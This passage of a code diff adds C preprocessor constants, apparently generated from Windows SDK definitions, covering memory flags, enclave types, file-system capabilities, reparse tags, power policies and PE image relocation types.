XSTATE_XFD_BIT 0x2 +#define XSTATE_CONTROLFLAG_XSAVEOPT_MASK 0x1 +#define XSTATE_CONTROLFLAG_XSAVEC_MASK 0x2 +#define XSTATE_CONTROLFLAG_XFD_MASK 0x4 +#define RUNTIME_REPORT_PACKAGE_MAGIC 0x52545250 +#define RUNTIME_REPORT_PACKAGE_VERSION_CURRENT 0x1 +#define RUNTIME_REPORT_NONCE_SIZE 0x20 +#define RUNTIME_REPORT_DIGEST_MAX_SIZE 0x40 +#define RUNTIME_REPORT_SIGNATURE_SCHEME_SHA512_RSA_PSS_SHA512 0x1 +#define DRIVER_REPORT_DIGEST_MAX_SIZE 0x40 +#define DRIVER_REPORT_NAME_MAX_LENGTH 0x20 +#define CFG_CALL_TARGET_VALID 0x1 +#define CFG_CALL_TARGET_PROCESSED 0x2 +#define CFG_CALL_TARGET_CONVERT_EXPORT_SUPPRESSED_TO_VALID 0x4 +#define CFG_CALL_TARGET_VALID_XFG 0x8 +#define CFG_CALL_TARGET_CONVERT_XFG_TO_CFG 0x10 +#define SESSION_QUERY_ACCESS 0x1 +#define SESSION_MODIFY_ACCESS 0x2 +#define MEM_TOP_DOWN 0x100000 +#define MEM_WRITE_WATCH 0x200000 +#define MEM_PHYSICAL 0x400000 +#define MEM_ROTATE 0x800000 +#define MEM_DIFFERENT_IMAGE_BASE_OK 0x800000 +#define MEM_4MB_PAGES 0x80000000 +#define MEM_COALESCE_PLACEHOLDERS 0x1 +#define MEM_EXTENDED_PARAMETER_GRAPHICS 0x1 +#define MEM_EXTENDED_PARAMETER_NONPAGED 0x2 +#define MEM_EXTENDED_PARAMETER_ZERO_PAGES_OPTIONAL 0x4 +#define MEM_EXTENDED_PARAMETER_NONPAGED_LARGE 0x8 +#define MEM_EXTENDED_PARAMETER_NONPAGED_HUGE 0x10 +#define MEM_EXTENDED_PARAMETER_SOFT_FAULT_PAGES 0x20 +#define MEM_EXTENDED_PARAMETER_EC_CODE 0x40 +#define MEM_EXTENDED_PARAMETER_TYPE_BITS 0x8 +#define SEC_HUGE_PAGES 0x20000 +#define WRITE_WATCH_FLAG_RESET 0x1 +#define VM_PREFETCH_TO_WORKING_SET 0x1 +#define ENCLAVE_TYPE_SGX 0x1 +#define ENCLAVE_TYPE_SGX2 0x2 +#define ENCLAVE_TYPE_VBS 0x10 +#define ENCLAVE_VBS_FLAG_DEBUG 0x1 +#define ENCLAVE_TYPE_VBS_BASIC 0x11 +#define VBS_BASIC_PAGE_MEASURED_DATA 0x1 +#define VBS_BASIC_PAGE_UNMEASURED_DATA 0x2 +#define VBS_BASIC_PAGE_ZERO_FILL 0x3 +#define VBS_BASIC_PAGE_THREAD_DESCRIPTOR 0x4 +#define VBS_BASIC_PAGE_SYSTEM_CALL 0x5 +#define DEDICATED_MEMORY_CACHE_ELIGIBLE 0x1 +#define TREE_CONNECT_ATTRIBUTE_PRIVACY 0x4000 +#define TREE_CONNECT_ATTRIBUTE_INTEGRITY 0x8000 +#define TREE_CONNECT_ATTRIBUTE_GLOBAL 0x4 +#define TREE_CONNECT_ATTRIBUTE_PINNED 0x2 +#define FILE_ATTRIBUTE_STRICTLY_SEQUENTIAL 0x20000000 +#define MAILSLOT_NO_MESSAGE 0xffffffff +#define MAILSLOT_WAIT_FOREVER 0xffffffff +#define FILE_CASE_SENSITIVE_SEARCH 0x1 +#define FILE_CASE_PRESERVED_NAMES 0x2 +#define FILE_UNICODE_ON_DISK 0x4 +#define FILE_PERSISTENT_ACLS 0x8 +#define FILE_FILE_COMPRESSION 0x10 +#define FILE_VOLUME_QUOTAS 0x20 +#define FILE_SUPPORTS_SPARSE_FILES 0x40 +#define FILE_SUPPORTS_REPARSE_POINTS 0x80 +#define FILE_SUPPORTS_REMOTE_STORAGE 0x100 +#define FILE_RETURNS_CLEANUP_RESULT_INFO 0x200 +#define FILE_SUPPORTS_POSIX_UNLINK_RENAME 0x400 +#define FILE_SUPPORTS_BYPASS_IO 0x800 +#define FILE_SUPPORTS_STREAM_SNAPSHOTS 0x1000 +#define FILE_SUPPORTS_CASE_SENSITIVE_DIRS 0x2000 +#define FILE_VOLUME_IS_COMPRESSED 0x8000 +#define FILE_SUPPORTS_OBJECT_IDS 0x10000 +#define FILE_SUPPORTS_ENCRYPTION 0x20000 +#define FILE_NAMED_STREAMS 0x40000 +#define FILE_READ_ONLY_VOLUME 0x80000 +#define FILE_SEQUENTIAL_WRITE_ONCE 0x100000 +#define FILE_SUPPORTS_TRANSACTIONS 0x200000 +#define FILE_SUPPORTS_HARD_LINKS 0x400000 +#define FILE_SUPPORTS_EXTENDED_ATTRIBUTES 0x800000 +#define FILE_SUPPORTS_OPEN_BY_FILE_ID 0x1000000 +#define FILE_SUPPORTS_USN_JOURNAL 0x2000000 +#define FILE_SUPPORTS_INTEGRITY_STREAMS 0x4000000 +#define FILE_SUPPORTS_BLOCK_REFCOUNTING 0x8000000 +#define FILE_SUPPORTS_SPARSE_VDL 0x10000000 +#define FILE_DAX_VOLUME 0x20000000 +#define FILE_SUPPORTS_GHOSTING 0x40000000 +#define FILE_NAME_FLAG_HARDLINK 0x0 +#define FILE_NAME_FLAG_NTFS 0x1 +#define FILE_NAME_FLAG_DOS 0x2 +#define FILE_NAME_FLAG_BOTH 0x3 +#define FILE_NAME_FLAGS_UNSPECIFIED 0x80 +#define LX_FILE_METADATA_HAS_UID 0x1 +#define LX_FILE_METADATA_HAS_GID 0x2 +#define LX_FILE_METADATA_HAS_MODE 0x4 +#define LX_FILE_METADATA_HAS_DEVICE_ID 0x8 +#define LX_FILE_CASE_SENSITIVE_DIR 0x10 +#define FILE_CS_FLAG_CASE_SENSITIVE_DIR 0x1 +#define FLUSH_FLAGS_FILE_DATA_ONLY 0x1 +#define FLUSH_FLAGS_NO_SYNC 0x2 +#define FLUSH_FLAGS_FILE_DATA_SYNC_ONLY 0x4 +#define FLUSH_FLAGS_FLUSH_AND_PURGE 0x8 +#define IO_REPARSE_TAG_RESERVED_ZERO 0x0 +#define IO_REPARSE_TAG_RESERVED_ONE 0x1 +#define IO_REPARSE_TAG_RESERVED_TWO 0x2 +#define IO_REPARSE_TAG_RESERVED_RANGE 0x2 +#define IO_REPARSE_TAG_RESERVED_INVALID -1073709056 +#define IO_REPARSE_TAG_MOUNT_POINT 0xa0000003 +#define IO_REPARSE_TAG_HSM 0xc0000004 +#define IO_REPARSE_TAG_HSM2 0x80000006 +#define IO_REPARSE_TAG_SIS 0x80000007 +#define IO_REPARSE_TAG_WIM 0x80000008 +#define IO_REPARSE_TAG_CSV 0x80000009 +#define IO_REPARSE_TAG_DFS 0x8000000a +#define IO_REPARSE_TAG_SYMLINK 0xa000000c +#define IO_REPARSE_TAG_DFSR 0x80000012 +#define IO_REPARSE_TAG_DEDUP 0x80000013 +#define IO_REPARSE_TAG_NFS 0x80000014 +#define IO_REPARSE_TAG_FILE_PLACEHOLDER 0x80000015 +#define IO_REPARSE_TAG_WOF 0x80000017 +#define IO_REPARSE_TAG_WCI 0x80000018 +#define IO_REPARSE_TAG_WCI_1 0x90001018 +#define IO_REPARSE_TAG_GLOBAL_REPARSE 0xa0000019 +#define IO_REPARSE_TAG_CLOUD 0x9000001a +#define IO_REPARSE_TAG_CLOUD_1 0x9000101a +#define IO_REPARSE_TAG_CLOUD_2 0x9000201a +#define IO_REPARSE_TAG_CLOUD_3 0x9000301a +#define IO_REPARSE_TAG_CLOUD_4 0x9000401a +#define IO_REPARSE_TAG_CLOUD_5 0x9000501a +#define IO_REPARSE_TAG_CLOUD_6 0x9000601a +#define IO_REPARSE_TAG_CLOUD_7 0x9000701a +#define IO_REPARSE_TAG_CLOUD_8 0x9000801a +#define IO_REPARSE_TAG_CLOUD_9 0x9000901a +#define IO_REPARSE_TAG_CLOUD_A 0x9000a01a +#define IO_REPARSE_TAG_CLOUD_B 0x9000b01a +#define IO_REPARSE_TAG_CLOUD_C 0x9000c01a +#define IO_REPARSE_TAG_CLOUD_D 0x9000d01a +#define IO_REPARSE_TAG_CLOUD_E 0x9000e01a +#define IO_REPARSE_TAG_CLOUD_F 0x9000f01a +#define IO_REPARSE_TAG_CLOUD_MASK 0xf000 +#define IO_REPARSE_TAG_APPEXECLINK 0x8000001b +#define IO_REPARSE_TAG_PROJFS 0x9000001c +#define IO_REPARSE_TAG_STORAGE_SYNC 0x8000001e +#define IO_REPARSE_TAG_WCI_TOMBSTONE 0xa000001f +#define IO_REPARSE_TAG_UNHANDLED 0x80000020 +#define IO_REPARSE_TAG_ONEDRIVE 0x80000021 +#define IO_REPARSE_TAG_PROJFS_TOMBSTONE 0xa0000022 +#define IO_REPARSE_TAG_AF_UNIX 0x80000023 +#define IO_REPARSE_TAG_STORAGE_SYNC_FOLDER -1879048153 +#define IO_REPARSE_TAG_WCI_LINK 0xa0000027 +#define IO_REPARSE_TAG_WCI_LINK_1 0xa0001027 +#define IO_REPARSE_TAG_DATALESS_CIM 0xa0000028 +#define SCRUB_DATA_INPUT_FLAG_RESUME 0x1 +#define SCRUB_DATA_INPUT_FLAG_SKIP_IN_SYNC 0x2 +#define SCRUB_DATA_INPUT_FLAG_SKIP_NON_INTEGRITY_DATA 0x4 +#define SCRUB_DATA_INPUT_FLAG_IGNORE_REDUNDANCY 0x8 +#define SCRUB_DATA_INPUT_FLAG_SKIP_DATA 0x10 +#define SCRUB_DATA_INPUT_FLAG_SCRUB_BY_OBJECT_ID 0x20 +#define SCRUB_DATA_INPUT_FLAG_OPLOCK_NOT_ACQUIRED 0x40 +#define SCRUB_DATA_OUTPUT_FLAG_INCOMPLETE 0x1 +#define SCRUB_DATA_OUTPUT_FLAG_NON_USER_DATA_RANGE 0x10000 +#define SCRUB_DATA_OUTPUT_FLAG_PARITY_EXTENT_DATA_RETURNED 0x20000 +#define SCRUB_DATA_OUTPUT_FLAG_RESUME_CONTEXT_LENGTH_SPECIFIED 0x40000 +#define SHUFFLE_FILE_FLAG_SKIP_INITIALIZING_NEW_CLUSTERS 0x1 +#define IO_COMPLETION_MODIFY_STATE 0x2 +// SKIPPED const SMB_CCF_APP_INSTANCE_EA_NAME: non-integer constant +#define NETWORK_APP_INSTANCE_CSV_FLAGS_VALID_ONLY_IF_CSV_COORDINATOR 0x1 +#define POWERBUTTON_ACTION_INDEX_NOTHING 0x0 +#define POWERBUTTON_ACTION_INDEX_SLEEP 0x1 +#define POWERBUTTON_ACTION_INDEX_HIBERNATE 0x2 +#define POWERBUTTON_ACTION_INDEX_SHUTDOWN 0x3 +#define POWERBUTTON_ACTION_INDEX_TURN_OFF_THE_DISPLAY 0x4 +#define POWERBUTTON_ACTION_VALUE_NOTHING 0x0 +#define POWERBUTTON_ACTION_VALUE_SLEEP 0x2 +#define POWERBUTTON_ACTION_VALUE_HIBERNATE 0x3 +#define POWERBUTTON_ACTION_VALUE_SHUTDOWN 0x6 +#define POWERBUTTON_ACTION_VALUE_TURN_OFF_THE_DISPLAY 0x8 +#define PERFSTATE_POLICY_CHANGE_IDEAL 0x0 +#define PERFSTATE_POLICY_CHANGE_SINGLE 0x1 +#define PERFSTATE_POLICY_CHANGE_ROCKET 0x2 +#define PERFSTATE_POLICY_CHANGE_IDEAL_AGGRESSIVE 0x3 +#define PERFSTATE_POLICY_CHANGE_DECREASE_MAX 0x2 +#define PERFSTATE_POLICY_CHANGE_INCREASE_MAX 0x3 +#define PROCESSOR_THROTTLE_DISABLED 0x0 +#define PROCESSOR_THROTTLE_ENABLED 0x1 +#define PROCESSOR_THROTTLE_AUTOMATIC 0x2 +#define PROCESSOR_PERF_BOOST_POLICY_DISABLED 0x0 +#define PROCESSOR_PERF_BOOST_POLICY_MAX 0x64 +#define PROCESSOR_PERF_BOOST_MODE_DISABLED 0x0 +#define PROCESSOR_PERF_BOOST_MODE_ENABLED 0x1 +#define PROCESSOR_PERF_BOOST_MODE_AGGRESSIVE 0x2 +#define PROCESSOR_PERF_BOOST_MODE_EFFICIENT_ENABLED 0x3 +#define PROCESSOR_PERF_BOOST_MODE_EFFICIENT_AGGRESSIVE 0x4 +#define PROCESSOR_PERF_BOOST_MODE_AGGRESSIVE_AT_GUARANTEED 0x5 +#define PROCESSOR_PERF_BOOST_MODE_EFFICIENT_AGGRESSIVE_AT_GUARANTEED 0x6 +#define PROCESSOR_PERF_BOOST_MODE_MAX 0x6 +#define PROCESSOR_PERF_AUTONOMOUS_MODE_DISABLED 0x0 +#define PROCESSOR_PERF_AUTONOMOUS_MODE_ENABLED 0x1 +#define PROCESSOR_PERF_PERFORMANCE_PREFERENCE 0xff +#define PROCESSOR_PERF_ENERGY_PREFERENCE 0x0 +#define PROCESSOR_PERF_MINIMUM_ACTIVITY_WINDOW 0x0 +#define PROCESSOR_PERF_MAXIMUM_ACTIVITY_WINDOW 0x4bb2a980 +#define PROCESSOR_DUTY_CYCLING_DISABLED 0x0 +#define PROCESSOR_DUTY_CYCLING_ENABLED 0x1 +#define CORE_PARKING_POLICY_CHANGE_IDEAL 0x0 +#define CORE_PARKING_POLICY_CHANGE_SINGLE 0x1 +#define CORE_PARKING_POLICY_CHANGE_ROCKET 0x2 +#define CORE_PARKING_POLICY_CHANGE_MULTISTEP 0x3 +#define CORE_PARKING_POLICY_CHANGE_MAX 0x3 +#define PARKING_TOPOLOGY_POLICY_DISABLED 0x0 +#define PARKING_TOPOLOGY_POLICY_ROUNDROBIN 0x1 +#define PARKING_TOPOLOGY_POLICY_SEQUENTIAL 0x2 +#define SMT_UNPARKING_POLICY_CORE 0x0 +#define SMT_UNPARKING_POLICY_CORE_PER_THREAD 0x1 +#define SMT_UNPARKING_POLICY_LP_ROUNDROBIN 0x2 +#define SMT_UNPARKING_POLICY_LP_SEQUENTIAL 0x3 +#define POWER_DEVICE_IDLE_POLICY_PERFORMANCE 0x0 +#define POWER_DEVICE_IDLE_POLICY_CONSERVATIVE 0x1 +#define POWER_CONNECTIVITY_IN_STANDBY_DISABLED 0x0 +#define POWER_CONNECTIVITY_IN_STANDBY_ENABLED 0x1 +#define POWER_CONNECTIVITY_IN_STANDBY_SYSTEM_MANAGED 0x2 +#define POWER_DISCONNECTED_STANDBY_MODE_NORMAL 0x0 +#define POWER_DISCONNECTED_STANDBY_MODE_AGGRESSIVE 0x1 +#define POWER_SYSTEM_MAXIMUM 0x7 +#define DIAGNOSTIC_REASON_VERSION 0x0 +#define DIAGNOSTIC_REASON_SIMPLE_STRING 0x1 +#define DIAGNOSTIC_REASON_DETAILED_STRING 0x2 +#define DIAGNOSTIC_REASON_NOT_SPECIFIED 0x80000000 +#define POWER_REQUEST_CONTEXT_VERSION 0x0 +#define POWER_SETTING_VALUE_VERSION 0x1 +#define PROC_IDLE_BUCKET_COUNT 0x6 +#define PROC_IDLE_BUCKET_COUNT_EX 0x10 +#define ACPI_PPM_SOFTWARE_ALL 0xfc +#define ACPI_PPM_SOFTWARE_ANY 0xfd +#define ACPI_PPM_HARDWARE_ALL 0xfe +#define MS_PPM_SOFTWARE_ALL 0x1 +#define POWER_ACTION_QUERY_ALLOWED 0x1 +#define POWER_ACTION_UI_ALLOWED 0x2 +#define POWER_ACTION_OVERRIDE_APPS 0x4 +#define POWER_ACTION_HIBERBOOT 0x8 +#define POWER_ACTION_USER_NOTIFY 0x10 +#define POWER_ACTION_DOZE_TO_HIBERNATE 0x20 +#define POWER_ACTION_ACPI_CRITICAL 0x1000000 +#define POWER_ACTION_ACPI_USER_NOTIFY 0x2000000 +#define POWER_ACTION_DIRECTED_DRIPS 0x4000000 +#define POWER_ACTION_PSEUDO_TRANSITION 0x8000000 +#define POWER_ACTION_LIGHTEST_FIRST 0x10000000 +#define POWER_ACTION_LOCK_CONSOLE 0x20000000 +#define POWER_ACTION_DISABLE_WAKES 0x40000000 +#define POWER_ACTION_CRITICAL 0x80000000 +#define POWER_USER_NOTIFY_FORCED_SHUTDOWN 0x20 +#define BATTERY_DISCHARGE_FLAGS_EVENTCODE_MASK 0x7 +#define BATTERY_DISCHARGE_FLAGS_ENABLE 0x80000000 +#define NUM_DISCHARGE_POLICIES 0x4 +#define DISCHARGE_POLICY_CRITICAL 0x0 +#define DISCHARGE_POLICY_LOW 0x1 +#define PROCESSOR_IDLESTATE_POLICY_COUNT 0x3 +#define PO_THROTTLE_NONE 0x0 +#define PO_THROTTLE_CONSTANT 0x1 +#define PO_THROTTLE_DEGRADE 0x2 +#define PO_THROTTLE_ADAPTIVE 0x3 +#define PO_THROTTLE_MAXIMUM 0x4 +#define HIBERFILE_TYPE_NONE 0x0 +#define HIBERFILE_TYPE_REDUCED 0x1 +#define HIBERFILE_TYPE_FULL 0x2 +#define HIBERFILE_TYPE_MAX 0x3 +#define IMAGE_DOS_SIGNATURE 0x5a4d +#define IMAGE_OS2_SIGNATURE 0x454e +#define IMAGE_OS2_SIGNATURE_LE 0x454c +#define IMAGE_VXD_SIGNATURE 0x454c +#define IMAGE_NT_SIGNATURE 0x4550 +#define IMAGE_SIZEOF_FILE_HEADER 0x14 +#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 0x10 +#define IMAGE_SIZEOF_SHORT_NAME 0x8 +#define IMAGE_SIZEOF_SECTION_HEADER 0x28 +#define IMAGE_SIZEOF_SYMBOL 0x12 +#define IMAGE_SYM_SECTION_MAX 0xfeff +#define IMAGE_SYM_SECTION_MAX_EX 0x7fffffff +#define IMAGE_SYM_TYPE_NULL 0x0 +#define IMAGE_SYM_TYPE_VOID 0x1 +#define IMAGE_SYM_TYPE_CHAR 0x2 +#define IMAGE_SYM_TYPE_SHORT 0x3 +#define IMAGE_SYM_TYPE_INT 0x4 +#define IMAGE_SYM_TYPE_LONG 0x5 +#define IMAGE_SYM_TYPE_FLOAT 0x6 +#define IMAGE_SYM_TYPE_DOUBLE 0x7 +#define IMAGE_SYM_TYPE_STRUCT 0x8 +#define IMAGE_SYM_TYPE_UNION 0x9 +#define IMAGE_SYM_TYPE_ENUM 0xa +#define IMAGE_SYM_TYPE_MOE 0xb +#define IMAGE_SYM_TYPE_BYTE 0xc +#define IMAGE_SYM_TYPE_WORD 0xd +#define IMAGE_SYM_TYPE_UINT 0xe +#define IMAGE_SYM_TYPE_DWORD 0xf +#define IMAGE_SYM_TYPE_PCODE 0x8000 +#define IMAGE_SYM_DTYPE_NULL 0x0 +#define IMAGE_SYM_DTYPE_POINTER 0x1 +#define IMAGE_SYM_DTYPE_FUNCTION 0x2 +#define IMAGE_SYM_DTYPE_ARRAY 0x3 +#define IMAGE_SYM_CLASS_NULL 0x0 +#define IMAGE_SYM_CLASS_AUTOMATIC 0x1 +#define IMAGE_SYM_CLASS_EXTERNAL 0x2 +#define IMAGE_SYM_CLASS_STATIC 0x3 +#define IMAGE_SYM_CLASS_REGISTER 0x4 +#define IMAGE_SYM_CLASS_EXTERNAL_DEF 0x5 +#define IMAGE_SYM_CLASS_LABEL 0x6 +#define IMAGE_SYM_CLASS_UNDEFINED_LABEL 0x7 +#define IMAGE_SYM_CLASS_MEMBER_OF_STRUCT 0x8 +#define IMAGE_SYM_CLASS_ARGUMENT 0x9 +#define IMAGE_SYM_CLASS_STRUCT_TAG 0xa +#define IMAGE_SYM_CLASS_MEMBER_OF_UNION 0xb +#define IMAGE_SYM_CLASS_UNION_TAG 0xc +#define IMAGE_SYM_CLASS_TYPE_DEFINITION 0xd +#define IMAGE_SYM_CLASS_UNDEFINED_STATIC 0xe +#define IMAGE_SYM_CLASS_ENUM_TAG 0xf +#define IMAGE_SYM_CLASS_MEMBER_OF_ENUM 0x10 +#define IMAGE_SYM_CLASS_REGISTER_PARAM 0x11 +#define IMAGE_SYM_CLASS_BIT_FIELD 0x12 +#define IMAGE_SYM_CLASS_FAR_EXTERNAL 0x44 +#define IMAGE_SYM_CLASS_BLOCK 0x64 +#define IMAGE_SYM_CLASS_FUNCTION 0x65 +#define IMAGE_SYM_CLASS_END_OF_STRUCT 0x66 +#define IMAGE_SYM_CLASS_FILE 0x67 +#define IMAGE_SYM_CLASS_SECTION 0x68 +#define IMAGE_SYM_CLASS_WEAK_EXTERNAL 0x69 +#define IMAGE_SYM_CLASS_CLR_TOKEN 0x6b +#define N_BTMASK 0xf +#define N_TMASK 0x30 +#define N_TMASK1 0xc0 +#define N_TMASK2 0xf0 +#define N_BTSHFT 0x4 +#define N_TSHIFT 0x2 +#define IMAGE_COMDAT_SELECT_NODUPLICATES 0x1 +#define IMAGE_COMDAT_SELECT_ANY 0x2 +#define IMAGE_COMDAT_SELECT_SAME_SIZE 0x3 +#define IMAGE_COMDAT_SELECT_EXACT_MATCH 0x4 +#define IMAGE_COMDAT_SELECT_ASSOCIATIVE 0x5 +#define IMAGE_COMDAT_SELECT_LARGEST 0x6 +#define IMAGE_COMDAT_SELECT_NEWEST 0x7 +#define IMAGE_WEAK_EXTERN_SEARCH_NOLIBRARY 0x1 +#define IMAGE_WEAK_EXTERN_SEARCH_LIBRARY 0x2 +#define IMAGE_WEAK_EXTERN_SEARCH_ALIAS 0x3 +#define IMAGE_WEAK_EXTERN_ANTI_DEPENDENCY 0x4 +#define IMAGE_REL_I386_ABSOLUTE 0x0 +#define IMAGE_REL_I386_DIR16 0x1 +#define IMAGE_REL_I386_REL16 0x2 +#define IMAGE_REL_I386_DIR32 0x6 +#define IMAGE_REL_I386_DIR32NB 0x7 +#define IMAGE_REL_I386_SEG12 0x9 +#define IMAGE_REL_I386_SECTION 0xa +#define IMAGE_REL_I386_SECREL 0xb +#define IMAGE_REL_I386_TOKEN 0xc +#define IMAGE_REL_I386_SECREL7 0xd +#define IMAGE_REL_I386_REL32 0x14 +#define IMAGE_REL_MIPS_ABSOLUTE 0x0 +#define IMAGE_REL_MIPS_REFHALF 0x1 +#define IMAGE_REL_MIPS_REFWORD 0x2 +#define IMAGE_REL_MIPS_JMPADDR 0x3 +#define IMAGE_REL_MIPS_REFHI 0x4 +#define IMAGE_REL_MIPS_REFLO 0x5 +#define IMAGE_REL_MIPS_GPREL 0x6 +#define IMAGE_REL_MIPS_LITERAL 0x7 +#define IMAGE_REL_MIPS_SECTION 0xa +#define IMAGE_REL_MIPS_SECREL 0xb +#define IMAGE_REL_MIPS_SECRELLO 0xc +#define IMAGE_REL_MIPS_SECRELHI 0xd +#define IMAGE_REL_MIPS_TOKEN 0xe +#define IMAGE_REL_MIPS_JMPADDR16 0x10 +#define IMAGE_REL_MIPS_REFWORDNB 0x22 +#define IMAGE_REL_MIPS_PAIR 0x25 +#define IMAGE_REL_ALPHA_ABSOLUTE 0x0 +#define IMAGE_REL_ALPHA_REFLONG 0x1 +#define IMAGE_REL_ALPHA_REFQUAD 0x2 +#define IMAGE_REL_ALPHA_GPREL32 0x3 +#define IMAGE_REL_ALPHA_LITERAL 0x4 +#define IMAGE_REL_ALPHA_LITUSE 0x5 +#define IMAGE_REL_ALPHA_GPDISP 0x6 +#define IMAGE_REL_ALPHA_BRADDR 0x7 +#define IMAGE_REL_ALPHA_HINT 0x8 +#define IMAGE_REL_ALPHA_INLINE_REFLONG 0x9 +#define IMAGE_REL_ALPHA_REFHI 0xa +#define IMAGE_REL_ALPHA_REFLO 0xb +#define IMAGE_REL_ALPHA_PAIR 0xc +#define IMAGE_REL_ALPHA_MATCH 0xd +#define IMAGE_REL_ALPHA_SECTION 0xe +#define IMAGE_REL_ALPHA_SECREL 0xf +#define IMAGE_REL_ALPHA_REFLONGNB 0x10 +#define IMAGE_REL_ALPHA_SECRELLO 0x11 +#define IMAGE_REL_ALPHA_SECRELHI 0x12 +#define IMAGE_REL_ALPHA_REFQ3 0x13 +#define IMAGE_REL_ALPHA_REFQ2 0x14 +#define IMAGE_REL_ALPHA_REFQ1 0x15 +#define IMAGE_REL_ALPHA_GPRELLO 0x16 +#define IMAGE_REL_ALPHA_GPRELHI 0x17 +#define IMAGE_REL_PPC_ABSOLUTE 0x0 +#define IMAGE_REL_PPC_ADDR64 0x1 +#define IMAGE_REL_PPC_ADDR32 0x2 +#define IMAGE_REL_PPC_ADDR24 0x3 +#define IMAGE_REL_PPC_ADDR16 0x4 +#define IMAGE_REL_PPC_ADDR14 0x5 +#define IMAGE_REL_PPC_REL24 0x6 +#define IMAGE_REL_PPC_REL14 0x7 +#define IMAGE_REL_PPC_TOCREL16 0x8 +#define IMAGE_REL_PPC_TOCREL14 0x9 +#define IMAGE_REL_PPC_ADDR32NB 0xa +#define IMAGE_REL_PPC_SECREL 0xb +#define IMAGE_REL_PPC_SECTION 0xc +#define IMAGE_REL_PPC_IFGLUE 0xd +#define IMAGE_REL_PPC_IMGLUE 0xe +#define IMAGE_REL_PPC_SECREL16 0xf +#define IMAGE_REL_PPC_REFHI 0x10 +#define IMAGE_REL_PPC_REFLO 0x11 +#define IMAGE_REL_PPC_PAIR 0x12 +#define IMAGE_REL_PPC_SECRELLO 0x13 +#define IMAGE_REL_PPC_SECRELHI 0x14 +#define IMAGE_REL_PPC_GPREL 0x15 +#define IMAGE_REL_PPC_TOKEN 0x16 +#define IMAGE_REL_PPC_TYPEMASK 0xff +#define IMAGE_REL_PPC_NEG 0x100 +#define IMAGE_REL_PPC_BRTAKEN 0x200 +#define IMAGE_REL_PPC_BRNTAKEN 0x400 +#define IMAGE_REL_PPC_TOCDEFN 0x800 +#define IMAGE_REL_SH3_ABSOLUTE 0x0 +#define IMAGE_REL_SH3_DIRECT16 0x1 +#define IMAGE_REL_SH3_DIRECT32 0x2 +#define IMAGE_REL_SH3_DIRECT8 0x3 +#define IMAGE_REL_SH3_DIRECT8_WORD 0x4 +#define IMAGE_REL_SH3_DIRECT8_LONG 0x5 +#define IMAGE_REL_SH3_DIRECT4 0x6 +#define IMAGE_REL_SH3_DIRECT4_WORD 0x7 +#define IMAGE_REL_SH3_DIRECT4_LONG 0x8 +#define IMAGE_REL_SH3_PCREL8_WORD 0x9 +#define IMAGE_REL_SH3_PCREL8_LONG 0xa +#define IMAGE_REL_SH3_PCREL12_WORD 0xb +#define IMAGE_REL_SH3_STARTOF_SECTION 0xc +#define IMAGE_REL_SH3_SIZEOF_SECTION 0xd +#define IMAGE_REL_SH3_SECTION 0xe +#define IMAGE_REL_SH3_SECREL 0xf +#define IMAGE_REL_SH3_DIRECT32_NB 0x10 +#define IMAGE_REL_SH3_GPREL4_LONG 0x11 +#define IMAGE_REL_SH3_TOKEN 0x12 +#define IMAGE_REL_SHM_PCRELPT 0x13 +#define IMAGE_REL_SHM_REFLO 0x14 +#define IMAGE_REL_SHM_REFHALF 0x15 +#define IMAGE_REL_SHM_RELLO 0x16 +#define IMAGE_REL_SHM_RELHALF 0x17 +#define IMAGE_REL_SHM_PAIR 0x18 +#define IMAGE_REL_SH_NOMODE 0x8000 +#define IMAGE_REL_ARM_ABSOLUTE 0x0 +#define IMAGE_REL_ARM_ADDR32 0x1 +#define IMAGE_REL_ARM_ADDR32NB 0x2 +#define IMAGE_REL_ARM_BRANCH24 0x3 +#define IMAGE_REL_ARM_BRANCH11 0x4 +#define IMAGE_REL_ARM_TOKEN 0x5 +#define IMAGE_REL_ARM_GPREL12 0x6 +#define IMAGE_REL_ARM_GPREL7 0x7 +#define IMAGE_REL_ARM_BLX24 0x8 +#define IMAGE_REL_ARM_BLX11 0x9 +#define IMAGE_REL_ARM_SECTION 0xe +#define IMAGE_REL_ARM_SECREL 0xf +#define IMAGE_REL_ARM_MOV32A 0x10 +#define IMAGE_REL_ARM_MOV32 0x10 +#define IMAGE_REL_ARM_MOV32T 0x11 +#define IMAGE_REL_THUMB_MOV32 0x11 +#define IMAGE_REL_ARM_BRANCH20T 0x12 +#define IMAGE_REL_THUMB_BRANCH20 0x12 +#define IMAGE_REL_ARM_BRANCH24T 0x14 +#define IMAGE_REL_THUMB_BRANCH24 0x14 +#define IMAGE_REL_ARM_BLX23T 0x15 +#define IMAGE_REL_THUMB_BLX23 0x15 +#define IMAGE_REL_AM_ABSOLUTE 0x0 +#define IMAGE_REL_AM_ADDR32 0x1 +#define IMAGE_REL_AM_ADDR32NB 0x2 +#define IMAGE_REL_AM_CALL32 0x3 +#define IMAGE_REL_AM_FUNCINFO 0x4 +#define IMAGE_REL_AM_REL32_1 0x5 +#define IMAGE_REL_AM_REL32_2 0x6 +#define IMAGE_REL_AM_SECREL 0x7 +#define IMAGE_REL_AM_SECTION 0x8 +#define IMAGE_REL_AM_TOKEN 0x9 +#define IMAGE_REL_ARM64_ABSOLUTE 0x0 +#define IMAGE_REL_ARM64_ADDR32 0x1 +#define IMAGE_REL_ARM64_ADDR32NB 0x2 +#define IMAGE_REL_ARM64_BRANCH26 0x3 +#define IMAGE_REL_ARM64_PAGEBASE_REL21 0x4 +#define IMAGE_REL_ARM64_REL21 0x5 +#define IMAGE_REL_ARM64_PAGEOFFSET_12A 0x6 +#define IMAGE_REL_ARM64_PAGEOFFSET_12L 0x7 +#define IMAGE_REL_ARM64_SECREL 0x8 +#define IMAGE_REL_ARM64_SECREL_LOW12A 0x9 +#define IMAGE_REL_ARM64_SECREL_HIGH12A 0xa +#define IMAGE_REL_ARM64_SECREL_LOW12L 0xb +#define IMAGE_REL_ARM64_TOKEN 0xc +#define IMAGE_REL_ARM64_SECTION 0xd +#define IMAGE_REL_ARM64_ADDR64 0xe +#define IMAGE_REL_ARM64_BRANCH19 0xf +#define IMAGE_REL_AMD64_ABSOLUTE 0x0 +#define IMAGE_REL_AMD64_ADDR64 0x1 +#define IMAGE_REL_AMD64_ADDR32 0x2 +#define IMAGE_REL_AMD64_ADDR32NB 0x3 +#define IMAGE_REL_AMD64_REL32 0x4 +#define IMAGE_REL_AMD64_REL32_1 0x5 +#define IMAGE_REL_AMD64_REL32_2 0x6 +#define IMAGE_REL_AMD64_REL32_3 0x7 +#define IMAGE_REL_AMD64_REL32_4 0x8 +#define IMAGE_REL_AMD64_REL32_5 0x9 